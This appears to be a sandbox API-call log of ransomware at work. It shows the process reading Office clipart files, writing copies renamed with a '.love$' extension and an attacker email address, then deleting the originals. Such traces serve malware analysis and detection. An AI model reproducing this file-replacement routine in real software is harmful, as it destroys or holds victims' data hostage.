[0255.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.652] lstrlenW (lpString=".dbf") returned 4 [0255.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.652] lstrlenW (lpString=".1cd") returned 4 [0255.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0255.652] lstrlenW (lpString=".jpg") returned 4 [0255.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.652] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.653] lstrlenW (lpString="HH00524_.WMF") returned 12 [0255.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.654] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14688) returned 1 [0255.654] CloseHandle (hObject=0x548) returned 1 [0255.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0255.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.654] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.654] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0255.655] GetLastError () returned 0x0 [0255.655] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3960, lpOverlapped=0x0) returned 1 [0255.658] WriteFile (in: hFile=0x450, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3970, lpOverlapped=0x0) returned 1 [0255.659] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.660] WriteFile (in: hFile=0x450, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.660] SetEndOfFile (hFile=0x450) returned 1 [0255.660] CloseHandle (hObject=0x450) returned 1 [0255.660] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.660] SetEndOfFile (hFile=0x548) returned 1 [0255.665] CloseHandle (hObject=0x548) returned 1 [0255.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0255.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.666] lstrlenW (lpString=".doc") returned 4 [0255.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.666] lstrlenW (lpString=".docx") returned 5 [0255.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.666] lstrlenW (lpString=".pdf") returned 4 [0255.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.666] lstrlenW (lpString=".xls") returned 4 [0255.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.666] lstrlenW (lpString=".xlsx") returned 5 [0255.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.667] lstrlenW (lpString=".ppt") returned 4 [0255.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.667] lstrlenW (lpString=".zip") returned 4 [0255.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.667] lstrlenW (lpString=".rar") returned 4 [0255.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString=".bz2") returned 4 [0255.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString=".7z") returned 3 [0255.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.667] lstrlenW (lpString=".dbf") returned 4 [0255.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.667] lstrlenW (lpString=".1cd") returned 4 [0255.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.667] lstrlenW (lpString=".jpg") returned 4 [0255.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.667] lstrlenW (lpString=".doc") returned 4 [0255.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString=".docx") returned 5 [0255.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.667] lstrlenW (lpString=".pdf") returned 4 [0255.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.667] lstrlenW (lpString=".xls") returned 4 [0255.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.667] lstrlenW (lpString=".xlsx") returned 5 [0255.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.667] lstrlenW (lpString=".ppt") returned 4 [0255.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.668] lstrlenW (lpString=".zip") returned 4 [0255.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.668] lstrlenW (lpString=".rar") returned 4 [0255.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.668] lstrlenW (lpString=".bz2") returned 4 [0255.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.668] lstrlenW (lpString=".7z") returned 3 [0255.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.668] lstrlenW (lpString=".dbf") returned 4 [0255.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.668] lstrlenW (lpString=".1cd") returned 4 [0255.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0255.668] lstrlenW (lpString=".jpg") returned 4 [0255.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.668] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.668] lstrlenW (lpString="HH00526_.WMF") returned 12 [0255.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.670] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=13538) returned 1 [0255.670] CloseHandle (hObject=0x548) returned 1 [0255.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0255.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.671] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.671] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0255.672] GetLastError () returned 0x0 [0255.672] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0255.675] WriteFile (in: hFile=0x450, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0255.676] ReadFile (in: hFile=0x548, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.676] WriteFile (in: hFile=0x450, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.676] SetEndOfFile (hFile=0x450) returned 1 [0255.676] CloseHandle (hObject=0x450) returned 1 [0255.677] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.677] SetEndOfFile (hFile=0x548) returned 1 [0255.778] CloseHandle (hObject=0x548) returned 1 [0255.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0256.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.561] lstrlenW (lpString=".doc") returned 4 [0256.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString=".docx") returned 5 [0256.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.561] lstrlenW (lpString=".pdf") returned 4 [0256.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString=".xls") returned 4 [0256.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.561] lstrlenW (lpString=".xlsx") returned 5 [0256.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.561] lstrlenW (lpString=".ppt") returned 4 [0256.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.561] lstrlenW (lpString=".zip") returned 4 [0256.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.561] lstrlenW (lpString=".rar") returned 4 [0256.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString=".bz2") returned 4 [0256.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString=".7z") returned 3 [0256.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.561] lstrlenW (lpString=".dbf") returned 4 [0256.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString=".1cd") returned 4 [0256.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString=".jpg") returned 4 [0256.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString=".doc") returned 4 [0256.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".docx") returned 5 [0256.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.562] lstrlenW (lpString=".pdf") returned 4 [0256.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".xls") returned 4 [0256.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.562] lstrlenW (lpString=".xlsx") returned 5 [0256.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.562] lstrlenW (lpString=".ppt") returned 4 [0256.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString=".zip") returned 4 [0256.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.562] lstrlenW (lpString=".rar") returned 4 [0256.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".bz2") returned 4 [0256.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString=".7z") returned 3 [0256.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString=".dbf") returned 4 [0256.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.562] lstrlenW (lpString=".1cd") returned 4 [0256.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0256.563] lstrlenW (lpString=".jpg") returned 4 [0256.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.563] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.563] lstrlenW (lpString="HH00602_.WMF") returned 12 [0256.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.564] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1400) returned 1 [0256.564] CloseHandle (hObject=0x304) returned 1 [0256.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0256.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.566] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.566] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0256.567] GetLastError () returned 0x0 [0256.567] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x578, lpOverlapped=0x0) returned 1 [0256.570] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x580, lpOverlapped=0x0) returned 1 [0256.571] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.571] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.571] SetEndOfFile (hFile=0x540) returned 1 [0256.572] CloseHandle (hObject=0x540) returned 1 [0256.572] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.572] SetEndOfFile (hFile=0x304) returned 1 [0256.575] CloseHandle (hObject=0x304) returned 1 [0256.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0256.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.577] lstrlenW (lpString=".doc") returned 4 [0256.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString=".docx") returned 5 [0256.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.577] lstrlenW (lpString=".pdf") returned 4 [0256.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString=".xls") returned 4 [0256.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.577] lstrlenW (lpString=".xlsx") returned 5 [0256.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.577] lstrlenW (lpString=".ppt") returned 4 [0256.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.577] lstrlenW (lpString=".zip") returned 4 [0256.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.577] lstrlenW (lpString=".rar") returned 4 [0256.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString=".bz2") returned 4 [0256.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString=".7z") returned 3 [0256.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.577] lstrlenW (lpString=".dbf") returned 4 [0256.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.577] lstrlenW (lpString=".1cd") returned 4 [0256.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.577] lstrlenW (lpString=".jpg") returned 4 [0256.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.578] lstrlenW (lpString=".doc") returned 4 [0256.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.578] lstrlenW (lpString=".docx") returned 5 [0256.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.578] lstrlenW (lpString=".pdf") returned 4 [0256.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.578] lstrlenW (lpString=".xls") returned 4 [0256.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.578] lstrlenW (lpString=".xlsx") returned 5 [0256.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.578] lstrlenW (lpString=".ppt") returned 4 [0256.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.578] lstrlenW (lpString=".zip") returned 4 [0256.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.578] lstrlenW (lpString=".rar") returned 4 [0256.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.578] lstrlenW (lpString=".bz2") returned 4 [0256.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.579] lstrlenW (lpString=".7z") returned 3 [0256.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.579] lstrlenW (lpString=".dbf") returned 4 [0256.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.579] lstrlenW (lpString=".1cd") returned 4 [0256.579] 